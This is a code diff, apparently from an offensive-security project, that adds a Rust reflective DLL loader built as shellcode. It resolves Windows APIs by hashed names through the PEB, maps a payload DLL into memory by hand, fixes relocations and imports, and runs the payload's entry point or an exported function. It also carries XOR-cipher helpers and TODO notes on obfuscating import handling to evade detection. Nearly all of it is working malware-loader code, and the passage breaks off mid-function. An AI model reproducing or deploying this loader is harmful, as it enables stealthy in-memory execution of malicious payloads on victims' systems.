using VIRTUAL_PROTECT = BOOL(WINAPI *)(LPVOID, SIZE_T, DWORD, PDWORD);
using SLEEP = VOID(WINAPI *)(DWORD);
// Payload function pointer typedefs
using DLL_MAIN = BOOL(WINAPI *)(HMODULE, DWORD, LPVOID);
using USER_FUNCTION = BOOL(WINAPI *)(LPVOID, DWORD);
// Complete WinAPI PEB structs
struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
};
using MY_PEB_LDR_DATA = _MY_PEB_LDR_DATA;
using PMY_PEB_LDR_DATA = _MY_PEB_LDR_DATA *;
struct _MY_LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
};
using MY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY;
using PMY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY *;
struct _IMAGE_RELOC {
WORD offset : 12;
WORD type : 4;
};
using IMAGE_RELOC = _IMAGE_RELOC;
using PIMAGE_RELOC = _IMAGE_RELOC *;
PBYTE GetModuleAddressFromHash(DWORD dwHash);
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 *eng);
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage);
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders);
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 *eng);
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache);

View File

@ -0,0 +1,593 @@
#![no_std]
mod memory;
use core::{
arch::asm,
ffi::c_void,
mem::{size_of, transmute},
ptr::null_mut,
slice::from_raw_parts,
};
use windows_sys::{
core::PWSTR,
Win32::{
Foundation::{BOOL, HMODULE},
System::{
Diagnostics::Debug::{
IMAGE_DATA_DIRECTORY, IMAGE_DIRECTORY_ENTRY_BASERELOC,
IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_DIRECTORY_ENTRY_IMPORT, IMAGE_NT_HEADERS64,
IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE,
IMAGE_SECTION_HEADER,
},
Memory::{
MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE,
PAGE_EXECUTE_WRITECOPY, PAGE_NOACCESS, PAGE_READONLY, PAGE_READWRITE,
PAGE_WRITECOPY,
},
SystemServices::{
DLL_PROCESS_ATTACH, IMAGE_BASE_RELOCATION, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE,
IMAGE_EXPORT_DIRECTORY, IMAGE_IMPORT_BY_NAME, IMAGE_IMPORT_DESCRIPTOR,
IMAGE_NT_SIGNATURE, IMAGE_ORDINAL_FLAG64, IMAGE_REL_BASED_DIR64,
IMAGE_REL_BASED_HIGHLOW,
},
Threading::{PEB, TEB},
WindowsProgramming::IMAGE_THUNK_DATA64,
},
},
};
use crate::memory::*;
// must be edited based on the number of imports in the IDT of the payload
// const IMPORT_COUNT: usize = 100;
// const MAX_IMPORT_DELAY_MS: u32 = 5000;
#[cfg(not(test))]
#[panic_handler]
fn panic(_info: &core::panic::PanicInfo) -> ! {
loop {}
}
// TODO: check if i8 types can be replaced with u8 types (especially in pointers)
// TODO: remove _fltused and _DllMainCRTStartup (and uncomment DllMain) if deemed unnecessary after testing
#[export_name = "_fltused"]
static _FLTUSED: i32 = 0;
#[no_mangle]
#[allow(non_snake_case)]
pub unsafe extern "system" fn _DllMainCRTStartup(
_module: HMODULE,
_call_reason: u32,
_reserved: *mut c_void,
) -> BOOL {
1
}
//#[no_mangle]
//#[allow(non_snake_case)]
//pub unsafe extern "system" fn DllMain(_module: HMODULE, _reason: u32, _reserved: *mut u8) -> BOOL {
// 1
//}
#[link_section = ".text"]
#[no_mangle]
pub unsafe extern "system" fn loader(
payload_dll: *mut c_void,
function_hash: u32,
user_data: *mut c_void,
user_data_len: u32,
_shellcode_bin: *mut c_void,
flags: u32,
) {
/*
1.) locate the required functions and modules from exports with their hashed names
*/
let kernel32_base_ptr = get_module_ptr(KERNEL32_DLL).unwrap();
let _ntdll_base_ptr = get_module_ptr(NTDLL_DLL).unwrap();
if kernel32_base_ptr.is_null() || _ntdll_base_ptr.is_null() {
return;
}
let far_procs = get_export_ptrs(kernel32_base_ptr).unwrap();
/*
2.) load the target image to a newly allocated permanent memory location with RW permissions
*/
let module_base_ptr = payload_dll as *mut u8;
if module_base_ptr.is_null() {
return;
}
let module_dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER;
let module_nt_headers_ptr = (module_base_ptr as usize
+ (*module_dos_header_ptr).e_lfanew as usize)
as *mut IMAGE_NT_HEADERS64;
let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize;
let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void;
let base_addr_ptr = allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs);
if base_addr_ptr.is_null() {
return;
}
copy_pe(base_addr_ptr, module_base_ptr, module_nt_headers_ptr);
/*
3.) process the image relocations (assumes the image couldn't be loaded to the preferred base address)
*/
let data_dir_slice = (*module_nt_headers_ptr).OptionalHeader.DataDirectory;
let relocation_ptr: *mut IMAGE_BASE_RELOCATION = rva_mut(
base_addr_ptr as _,
data_dir_slice[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].VirtualAddress as usize,
);
if relocation_ptr.is_null() {
return;
}
process_relocations(
base_addr_ptr,
module_nt_headers_ptr,
relocation_ptr,
&data_dir_slice,
);
/*
4.) resolve the imports by patching the Import Address Table (IAT)
*/
let import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR = rva_mut(
base_addr_ptr as _,
data_dir_slice[IMAGE_DIRECTORY_ENTRY_IMPORT as usize].VirtualAddress as usize,
);
if import_descriptor_ptr.is_null() {
return;
}
patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs);
/*
5.) finalize the sections by setting protective permissions after mapping the image
*/
finalize_relocations(base_addr_ptr, module_nt_headers_ptr, &far_procs);
/*
6.) execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
*/
if flags == 0 {
let dll_main_addr = base_addr_ptr as usize
+ (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
#[allow(non_snake_case)]
let DllMain = transmute::<_, DllMain>(dll_main_addr);
DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
} else {
// UserFunction address = base address + RVA of user function
let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap();
#[allow(non_snake_case)]
let UserFunction = transmute::<_, UserFunction>(user_fn_addr);
// execution with user data passed into the shellcode by the generator
UserFunction(user_data, user_data_len);
}
}
unsafe fn get_export_ptrs(kernel32_base_ptr: *mut u8) -> Option<FarProcs> {
let loadlib_addr = get_export_addr(kernel32_base_ptr, LOAD_LIBRARY_A).unwrap();
let getproc_addr = get_export_addr(kernel32_base_ptr, GET_PROC_ADDRESS).unwrap();
let virtualalloc_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_ALLOC).unwrap();
let virtualprotect_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_PROTECT).unwrap();
let flushcache_addr = get_export_addr(kernel32_base_ptr, FLUSH_INSTRUCTION_CACHE).unwrap();
let sleep_addr = get_export_addr(kernel32_base_ptr, SLEEP).unwrap();
if loadlib_addr == 0
|| getproc_addr == 0
|| virtualalloc_addr == 0
|| virtualprotect_addr == 0
|| flushcache_addr == 0
{
return None;
}
#[allow(non_snake_case)]
let LoadLibraryA: LoadLibraryA = transmute(loadlib_addr);
#[allow(non_snake_case)]
let GetProcAddress: GetProcAddress = transmute(getproc_addr);
#[allow(non_snake_case)]
let VirtualAlloc: VirtualAlloc = transmute(virtualalloc_addr);
#[allow(non_snake_case)]
let VirtualProtect: VirtualProtect = transmute(virtualprotect_addr);
#[allow(non_snake_case)]
let FlushInstructionCache: FlushInstructionCache = transmute(flushcache_addr);
#[allow(non_snake_case)]
let Sleep: Sleep = transmute(sleep_addr);
Some(FarProcs {
LoadLibraryA,
GetProcAddress,
VirtualAlloc,
VirtualProtect,
FlushInstructionCache,
Sleep,
})
}
#[link_section = ".text"]
unsafe fn get_module_ptr(module_hash: u32) -> Option<*mut u8> {
// first entry in the InMemoryOrderModuleList -> PEB, PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY
// InLoadOrderModuleList grants direct access to the base address without using CONTAINING_RECORD macro
let peb_ptr = get_peb_ptr();
let peb_ldr_ptr = (*peb_ptr).Ldr as *mut PEB_LDR_DATA;
let mut table_entry_ptr =
(*peb_ldr_ptr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY;
while !(*table_entry_ptr).DllBase.is_null() {
let name_buf_ptr = (*table_entry_ptr).BaseDllName.Buffer;
let name_len = (*table_entry_ptr).BaseDllName.Length as usize;
let name_slice_buf = from_raw_parts(transmute::<PWSTR, *const u8>(name_buf_ptr), name_len);
// calculate the module hash and compare it
if module_hash == airborne_utils::calc_hash(name_slice_buf) {
return Some((*table_entry_ptr).DllBase as _);
}
table_entry_ptr = (*table_entry_ptr).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
None
}
#[link_section = ".text"]
unsafe fn get_nt_headers_ptr(module_base_ptr: *mut u8) -> Option<*mut IMAGE_NT_HEADERS64> {
let dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER;
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
return None;
}
let nt_headers_ptr =
(module_base_ptr as usize + (*dos_header_ptr).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
if (*nt_headers_ptr).Signature != IMAGE_NT_SIGNATURE {
return None;
}
Some(nt_headers_ptr)
}
#[link_section = ".text"]
unsafe fn get_export_addr(module_base_ptr: *mut u8, function_hash: u32) -> Option<usize> {
// NT Headers -> RVA of Export Directory Table -> function names, ordinals, and addresses
let nt_headers_ptr = get_nt_headers_ptr(module_base_ptr).unwrap();
let export_dir_ptr = (module_base_ptr as usize
+ (*nt_headers_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
.VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts(
(module_base_ptr as usize + (*export_dir_ptr).AddressOfNames as usize) as *const u32,
(*export_dir_ptr).NumberOfNames as _,
);
let funcs = from_raw_parts(
(module_base_ptr as usize + (*export_dir_ptr).AddressOfFunctions as usize) as *const u32,
(*export_dir_ptr).NumberOfFunctions as _,
);
let ords = from_raw_parts(
(module_base_ptr as usize + (*export_dir_ptr).AddressOfNameOrdinals as usize) as *const u16,
(*export_dir_ptr).NumberOfNames as _,
);
// compare hashes iteratively for each entry
for i in 0..(*export_dir_ptr).NumberOfNames {
let name_ptr = (module_base_ptr as usize + names[i as usize] as usize) as *const i8;
let name_len = get_cstr_len(name_ptr as _);
let name_slice = from_raw_parts(name_ptr as _, name_len);
if function_hash == airborne_utils::calc_hash(name_slice) {
return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize);
}
}
None
}
#[link_section = ".text"]
unsafe fn allocate_rw_memory(
preferred_base_ptr: *mut c_void,
alloc_size: usize,
far_procs: &FarProcs,
) -> *mut c_void {
let mut base_addr_ptr = (far_procs.VirtualAlloc)(
preferred_base_ptr,
alloc_size,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE,
);
// fallback: attempt to allocate at any address if preferred address is unavailable
if base_addr_ptr.is_null() {
base_addr_ptr = (far_procs.VirtualAlloc)(
null_mut(),
alloc_size,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE,
);
}
base_addr_ptr
}
#[link_section = ".text"]
unsafe fn copy_pe(
new_base_ptr: *mut c_void,
old_base_ptr: *mut u8,
nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
) {
let section_header_ptr = (&(*nt_headers_ptr).OptionalHeader as *const _ as usize
+ (*nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize)
as *mut IMAGE_SECTION_HEADER;
// PE sections one by one
for i in 0..(*nt_headers_ptr).FileHeader.NumberOfSections {
let header_i_ref = &*(section_header_ptr.add(i as usize));
let dst_ptr = new_base_ptr
.cast::<u8>()
.add(header_i_ref.VirtualAddress as usize);
let src_ptr = (old_base_ptr as usize + header_i_ref.PointerToRawData as usize) as *const u8;
let raw_size = header_i_ref.SizeOfRawData as usize;
let src_data_slice = from_raw_parts(src_ptr, raw_size);
(0..raw_size).for_each(|x| {
let src = src_data_slice[x];
let dst = dst_ptr.add(x);
*dst = src;
});
}
// PE headers
for i in 0..(*nt_headers_ptr).OptionalHeader.SizeOfHeaders {
let dst = new_base_ptr as *mut u8;
let src = old_base_ptr as *const u8;
*dst.add(i as usize) = *src.add(i as usize);
}
}
#[link_section = ".text"]
unsafe fn process_relocations(
base_addr_ptr: *mut c_void,
nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
mut relocation_ptr: *mut IMAGE_BASE_RELOCATION,
data_dir_slice: &[IMAGE_DATA_DIRECTORY; 16],
) {
let delta = base_addr_ptr as isize - (*nt_headers_ptr).OptionalHeader.ImageBase as isize;
// upper bound prevents accessing memory past the end of the relocation data
let relocation_end = relocation_ptr as usize
+ data_dir_slice[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size as usize;
while (*relocation_ptr).VirtualAddress != 0
&& ((*relocation_ptr).VirtualAddress as usize) <= relocation_end
&& (*relocation_ptr).SizeOfBlock != 0
{
// relocation address, first entry, and number of entries in the whole block
let addr = rva::<isize>(
base_addr_ptr as _,
(*relocation_ptr).VirtualAddress as usize,
) as isize;
let item = rva::<u16>(relocation_ptr as _, size_of::<IMAGE_BASE_RELOCATION>());
let count = ((*relocation_ptr).SizeOfBlock as usize - size_of::<IMAGE_BASE_RELOCATION>())
/ size_of::<u16>();
for i in 0..count {
// high bits -> type, low bits -> offset
let type_field = (item.add(i).read() >> 12) as u32;
let offset = item.add(i).read() & 0xFFF;
match type_field {
IMAGE_REL_BASED_DIR64 | IMAGE_REL_BASED_HIGHLOW => {
*((addr + offset as isize) as *mut isize) += delta;
}
_ => {}
}
}
relocation_ptr = rva_mut(relocation_ptr as _, (*relocation_ptr).SizeOfBlock as usize);
}
}
#[link_section = ".text"]
unsafe fn patch_iat(
base_addr_ptr: *mut c_void,
mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR,
far_procs: &FarProcs,
) {
/*
1.) shuffle Import Directory Table entries (image import descriptors)
2.) delay the relocation of each import a semirandom duration
3.) conditional execution based on ordinal/name
4.) indirect function call via pointer
*/
// TODO: obfuscate the import handling (convert C++ obfuscation to Rust, preferably no_std)
while (*import_descriptor_ptr).Name != 0x0 {
let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize);
if module_name_ptr.is_null() {
return;
}
let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _);
if module_handle == 0 {
return;
}
// RVA of the IAT via either OriginalFirstThunk or FirstThunk
let mut original_thunk_ptr: *mut IMAGE_THUNK_DATA64 = if (base_addr_ptr as usize
+ (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize)
!= 0
{
rva_mut(
base_addr_ptr as _,
(*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize,
)
} else {
rva_mut(
base_addr_ptr as _,
(*import_descriptor_ptr).FirstThunk as usize,
)
};
let mut thunk_ptr: *mut IMAGE_THUNK_DATA64 = rva_mut(
base_addr_ptr as _,
(*import_descriptor_ptr).FirstThunk as usize,
);
while (*original_thunk_ptr).u1.Function != 0 {
let is_snap_res = (*original_thunk_ptr).u1.Ordinal & IMAGE_ORDINAL_FLAG64 != 0;
// check if the import is by name or by ordinal
if is_snap_res {
// mask out the high bits to get the ordinal value and patch the address of the function
let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8;
(*thunk_ptr).u1.Function =
(far_procs.GetProcAddress)(module_handle, fn_ord_ptr).unwrap() as _;
} else {
// get the function name from the thunk and patch the address of the function
let thunk_data_ptr = (base_addr_ptr as usize
+ (*original_thunk_ptr).u1.AddressOfData as usize)
as *mut IMAGE_IMPORT_BY_NAME;
let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr();
(*thunk_ptr).u1.Function =
(far_procs.GetProcAddress)(module_handle, fn_name_ptr).unwrap() as _;
}
thunk_ptr = thunk_ptr.add(1);
original_thunk_ptr = original_thunk_ptr.add(1);
}
import_descriptor_ptr =
(import_descriptor_ptr as usize + size_of::<IMAGE_IMPORT_DESCRIPTOR>()) as _;
}
}
#[link_section = ".text"]
unsafe fn finalize_relocations(
base_addr_ptr: *mut c_void,
module_nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
far_procs: &FarProcs,
) {
// RVA of the first IMAGE_SECTION_HEADER in the PE file
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
&(*module_nt_headers_ptr).OptionalHeader as *const _ as _,
(*module_nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize,
);
for i in 0..(*module_nt_headers_ptr).FileHeader.NumberOfSections {
let mut protection = 0;
let mut old_protection = 0;
let section_header_ptr = &*(section_header_ptr).add(i as usize);
let dst_ptr = base_addr_ptr
.cast::<u8>()
.add(section_header_ptr.VirtualAddress as usize);
let section_raw_size = section_header_ptr.SizeOfRawData as usize;
let is_executable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0;
let is_readable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_READ != 0;
let is_writable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_WRITE != 0;
if !is_executable && !is_readable && !is_writable {
protection = PAGE_NOACCESS;
}
if is_writable {
protection = PAGE_WRITECOPY;
}
if is_readable {
protection = PAGE_READONLY;
}
if is_writable && is_readable {
protection = PAGE_READWRITE;
}
if is_executable {
protection = PAGE_EXECUTE;
}
if is_executable && is_writable {
protection = PAGE_EXECUTE_WRITECOPY;
}
if is_executable && is_readable {
protection = PAGE_EXECUTE_READ;
}
if is_executable && is_writable && is_readable {
protection = PAGE_EXECUTE_READWRITE;
}
// apply the new protection to the current section
(far_procs.VirtualProtect)(
dst_ptr as _,
section_raw_size,
protection,
&mut old_protection,
);
}
// flush the instruction cache to ensure the CPU sees the changes made to the memory
(far_procs.FlushInstructionCache)(-1, null_mut(), 0);
}
#[link_section = ".text"]
unsafe fn get_peb_ptr() -> *mut PEB {
// TEB located at offset 0x30 from the GS register on 64-bit
let teb: *mut TEB;
asm!("mov {teb}, gs:[0x30]", teb = out(reg) teb);
(*teb).ProcessEnvironmentBlock as *mut PEB
}
#[link_section = ".text"]
unsafe fn get_cstr_len(str_ptr: *const char) -> usize {
let mut tmp: u64 = str_ptr as u64;
while *(tmp as *const u8) != 0 {
tmp += 1;
}
(tmp - str_ptr as u64) as _
}
fn rva_mut<T>(base_ptr: *mut u8, offset: usize) -> *mut T {
(base_ptr as usize + offset) as *mut T
}
fn rva<T>(base_ptr: *mut u8, offset: usize) -> *const T {
(base_ptr as usize + offset) as *const T
}

View File

@ -0,0 +1,126 @@
use core::ffi::c_void;
use windows_sys::{
core::PCSTR,
Win32::{
Foundation::{BOOL, BOOLEAN, FARPROC, HANDLE, HMODULE, UNICODE_STRING},
System::{
Kernel::LIST_ENTRY,
Memory::{PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE},
},
},
};
#[allow(non_snake_case)]
pub static KERNEL32_DLL: u32 = 0x6DDB9555;
#[allow(non_snake_case)]
pub static NTDLL_DLL: u32 = 0x1EDAB0ED;
#[allow(non_snake_case)]
pub static LOAD_LIBRARY_A: u32 = 0xB7072FDB;
#[allow(non_snake_case)]
pub static GET_PROC_ADDRESS: u32 = 0xDECFC1BF;
#[allow(non_snake_case)]
pub static VIRTUAL_ALLOC: u32 = 0x97BC257;
#[allow(non_snake_case)]
pub static FLUSH_INSTRUCTION_CACHE: u32 = 0xEFB7BF9D;
#[allow(non_snake_case)]
pub static VIRTUAL_PROTECT: u32 = 0xE857500D;
#[allow(non_snake_case)]
pub static SLEEP: u32 = 0xE07CD7E;
#[allow(non_camel_case_types)]
pub type LoadLibraryA = unsafe extern "system" fn(lpLibFileName: PCSTR) -> HMODULE;
#[allow(non_camel_case_types)]
pub type GetProcAddress = unsafe extern "system" fn(hModule: HMODULE, lpProcName: PCSTR) -> FARPROC;
#[allow(non_camel_case_types)]
pub type VirtualAlloc = unsafe extern "system" fn(
lpAddress: *const c_void,
dwSize: usize,
flAllocationType: VIRTUAL_ALLOCATION_TYPE,
flProtect: PAGE_PROTECTION_FLAGS,
) -> *mut c_void;
#[allow(non_camel_case_types)]
pub type VirtualProtect = unsafe extern "system" fn(
lpAddress: *const c_void,
dwSize: usize,
flNewProtect: PAGE_PROTECTION_FLAGS,
lpflOldProtect: *mut PAGE_PROTECTION_FLAGS,
) -> BOOL;
#[allow(non_camel_case_types)]
pub type FlushInstructionCache = unsafe extern "system" fn(
hProcess: HANDLE,
BaseAddress: *const c_void,
NumberOfBytesToFlush: usize,
) -> BOOL;
#[allow(non_camel_case_types)]
pub type Sleep = unsafe extern "system" fn(dwMilliseconds: u32);
#[allow(non_camel_case_types)]
pub type DllMain =
unsafe extern "system" fn(module: HMODULE, call_reason: u32, reserved: *mut c_void) -> BOOL;
#[allow(non_camel_case_types)]
pub type UserFunction =
unsafe extern "system" fn(user_data: *mut c_void, user_data_len: u32) -> BOOL;
#[repr(C)]
#[allow(non_snake_case)]
pub struct FarProcs {
pub LoadLibraryA: LoadLibraryA,
pub GetProcAddress: GetProcAddress,
pub VirtualAlloc: VirtualAlloc,
pub VirtualProtect: VirtualProtect,
pub FlushInstructionCache: FlushInstructionCache,
pub Sleep: Sleep,
}
#[allow(non_camel_case_types)]
pub type PLDR_INIT_ROUTINE = Option<
unsafe extern "system" fn(DllHandle: *mut c_void, Reason: u32, Context: *mut c_void) -> BOOLEAN,
>;
#[repr(C)]
#[allow(non_snake_case, non_camel_case_types)]
pub struct PEB_LDR_DATA {
pub Length: u32,
pub Initialized: BOOLEAN,
pub SsHandle: HANDLE,
pub InLoadOrderModuleList: LIST_ENTRY,
pub InMemoryOrderModuleList: LIST_ENTRY,
pub InInitializationOrderModuleList: LIST_ENTRY,
pub EntryInProgress: *mut c_void,
pub ShutdownInProgress: BOOLEAN,
pub ShutdownThreadId: HANDLE,
}
#[repr(C)]
#[allow(non_snake_case)]
pub union LDR_DATA_TABLE_ENTRY_u1 {
pub InInitializationOrderLinks: LIST_ENTRY,
pub InProgressLinks: LIST_ENTRY,
}
#[repr(C)]
#[allow(non_snake_case, non_camel_case_types)]
pub struct LDR_DATA_TABLE_ENTRY {
pub InLoadOrderLinks: LIST_ENTRY,
pub InMemoryOrderLinks: LIST_ENTRY,
pub u1: LDR_DATA_TABLE_ENTRY_u1,
pub DllBase: *mut c_void,
pub EntryPoint: PLDR_INIT_ROUTINE,
pub SizeOfImage: u32,
pub FullDllName: UNICODE_STRING,
pub BaseDllName: UNICODE_STRING,
}

View File

@ -1,63 +0,0 @@
#include "crypto.hpp"
std::vector<BYTE> GenerateKey(size_t keysize) {
std::vector<BYTE> key(keysize, 0);
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> dis(0, 255);
for (size_t i = 0; i < key.size(); ++i) {
key[i] = static_cast<BYTE>(dis(gen));
}
return key;
}
void XorCipher(std::vector<BYTE> *data, const std::vector<BYTE> &key) {
for (size_t i = 0; i < data->size(); i++) {
(*data)[i] = (*data)[i] ^ key[i % key.size()];
}
}
DWORD CalculateHash(const std::string &source) {
auto dwHash = HASH_KEY;
for (char ch : source) {
if (ch == '\0') {
continue;
}
if (ch >= 'a' && ch <= 'z') {
ch -= 0x20;
}
// Casting might be unnecessary
dwHash = ((dwHash << 5) + dwHash) + static_cast<DWORD>(ch);
}
return dwHash;
}
DWORD CalculateHash(const UNICODE_STRING &baseDllName) {
auto pwszBaseDllName = baseDllName.Buffer;
auto dwHash = HASH_KEY;
char ch;
for (auto i = 0; i < baseDllName.MaximumLength; i++) {
ch = pwszBaseDllName[i];
if (ch == '\0') {
continue;
}
if (ch >= 'a' && ch <= 'z') {
ch -= 0x20;
}
// Casting might be unnecessary
dwHash = ((dwHash << 5) + dwHash) + static_cast<DWORD>(ch);
}
return dwHash;
}

View File

@ -1,15 +0,0 @@
#pragma once
#include <windows.h>
#include <winternl.h>
#include <random>
#include <string>
#include <vector>
constexpr auto HASH_KEY = 5381;
std::vector<BYTE> GenerateKey(size_t keysize);
void XorCipher(std::vector<BYTE> *data, const std::vector<BYTE> &key);
DWORD CalculateHash(const std::string &source);
DWORD CalculateHash(const UNICODE_STRING &baseDllName);

View File

@ -1,15 +0,0 @@
#include "futils.hpp"
std::vector<BYTE> ReadFromFile(const std::string &filename) {
std::ifstream file(filename, std::ios::binary);
std::vector<BYTE> data((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
file.close();
return data;
}
void WriteToFile(const std::string &filename, const std::vector<BYTE> &data) {
std::ofstream file(filename, std::ios::binary);
file.write(reinterpret_cast<const char *>(data.data()), data.size());
file.close();
}

View File

@ -1,10 +0,0 @@
#pragma once
#include <windows.h>
#include <fstream>
#include <string>
#include <vector>
std::vector<BYTE> ReadFromFile(const std::string &filename);
void WriteToFile(const std::string &filename, const std::vector<BYTE> &data);

View File

@ -1,26 +0,0 @@
# Usage:
# *) Install cross-compiler: `brew install mingw-w64`
# *) cmake -DCMAKE_TOOLCHAIN_FILE=toolchains/darwin-mingw-w64-x86_64.cmake -B build -S .
# *) make -C build
set(CMAKE_SYSTEM_NAME Windows)
set(TOOLCHAIN_PREFIX x86_64-w64-mingw32)
# Cross-compilers to use for C and C++
set(CMAKE_C_COMPILER ${TOOLCHAIN_PREFIX}-gcc)
set(CMAKE_CXX_COMPILER ${TOOLCHAIN_PREFIX}-g++)
set(CMAKE_RC_COMPILER ${TOOLCHAIN_PREFIX}-windres)
set(CMAKE_AR ${TOOLCHAIN_PREFIX}-ar)
set(CMAKE_RANLIB ${TOOLCHAIN_PREFIX}-ranlib)
# Target environment on the build host system (with Homebrew)
set(CMAKE_FIND_ROOT_PATH /opt/homebrew/Cellar/mingw-w64/11.0.1/toolchain-x86_64/${TOOLCHAIN_PREFIX})
# Search for programs in the build host directories (modifying default behavior of FIND_XXX())
set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
# General compiler flags
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -static -Os -flto")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -static -Os -flto")

View File

@ -1,26 +0,0 @@
# Usage:
# *) Install cross-compiler: `sudo apt install mingw-w64`
# *) cmake -DCMAKE_TOOLCHAIN_FILE=toolchains/linux-mingw-w64-x86_64.cmake -B build -S .
# *) make -C build
set(CMAKE_SYSTEM_NAME Windows)
set(TOOLCHAIN_PREFIX x86_64-w64-mingw32)
# Cross-compilers to use for C and C++
set(CMAKE_C_COMPILER ${TOOLCHAIN_PREFIX}-gcc)
set(CMAKE_CXX_COMPILER ${TOOLCHAIN_PREFIX}-g++)
set(CMAKE_RC_COMPILER ${TOOLCHAIN_PREFIX}-windres)
set(CMAKE_AR ${TOOLCHAIN_PREFIX}-ar)
set(CMAKE_RANLIB ${TOOLCHAIN_PREFIX}-ranlib)
# Target environment on the build host system (with Homebrew)
set(CMAKE_FIND_ROOT_PATH /usr/${TOOLCHAIN_PREFIX})
# Search for programs in the build host directories (modifying default behavior of FIND_XXX())
set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
# General compiler flags
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -static -Os -flto")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -static -Os -flto")

7
utils/Cargo.toml Normal file
View File

@ -0,0 +1,7 @@
[package]
name = "airborne-utils"
version = "0.1.0"
edition = "2021"
[dependencies]
# panic-halt = "0.2.0"

29
utils/src/lib.rs Normal file
View File

@ -0,0 +1,29 @@
#![no_std]
// gen_xor_key isn't required to be a shared module, as it's only used in the shellcode generator
const HASH_KEY: usize = 5381;
pub fn xor_cipher(data: &mut [u8], key: &[u8]) {
for (i, byte) in data.iter_mut().enumerate() {
*byte ^= key[i % key.len()];
}
}
pub fn calc_hash(buffer: &[u8]) -> u32 {
let mut hash = HASH_KEY;
for b in buffer {
if *b == 0 {
continue;
}
